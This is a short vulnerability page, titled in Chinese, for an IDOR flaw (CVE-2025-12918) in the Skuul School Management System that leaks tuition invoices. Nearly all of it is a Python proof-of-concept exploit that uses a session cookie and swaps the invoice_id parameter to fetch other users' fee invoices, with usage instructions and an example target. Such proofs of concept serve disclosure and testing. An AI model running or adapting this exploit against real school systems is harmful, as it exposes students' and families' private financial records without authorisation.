Skuul School Management System IDOR漏洞导致学费发票信息泄露

import requests import sys # CVE-2025-12918 PoC - Skuul School Management System IDOR # Target: /dashboard/fees/fee-invoices/?invoice_id=X def exploit_idor(base_url, session_cookie, invoice_id): """ Exploit IDOR vulnerability in Skuul School Management System by manipulating the invoice_id parameter """ target_url = f"{base_url}/dashboard/fees/fee-invoices/" cookies = { 'session': session_cookie # Replace with valid session cookie } params = { 'invoice_id': invoice_id # Manipulate this parameter } try: response = requests.get(target_url, params=params, cookies=cookies) if response.status_code == 200: print(f"[*] Request successful for invoice_id: {invoice_id}") print(f"[*] Response length: {len(response.text)} bytes") # Check if invoice data is returned if 'invoice' in response.text.lower() or 'fee' in response.text.lower(): print("[!] Potential IDOR vulnerability confirmed - invoice data leaked") return True else: print(f"[*] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-12918_poc.py <base_url> <session_cookie> <invoice_id>") print("Example: python cve-2025-12918_poc.py http://target.com 'abc123' 2") sys.exit(1) base_url = sys.argv[1] session_cookie = sys.argv[2] invoice_id = sys.argv[3] print(f"[*] Testing CVE-2025-12918 on {base_url}") exploit_idor(base_url, session_cookie, invoice_id)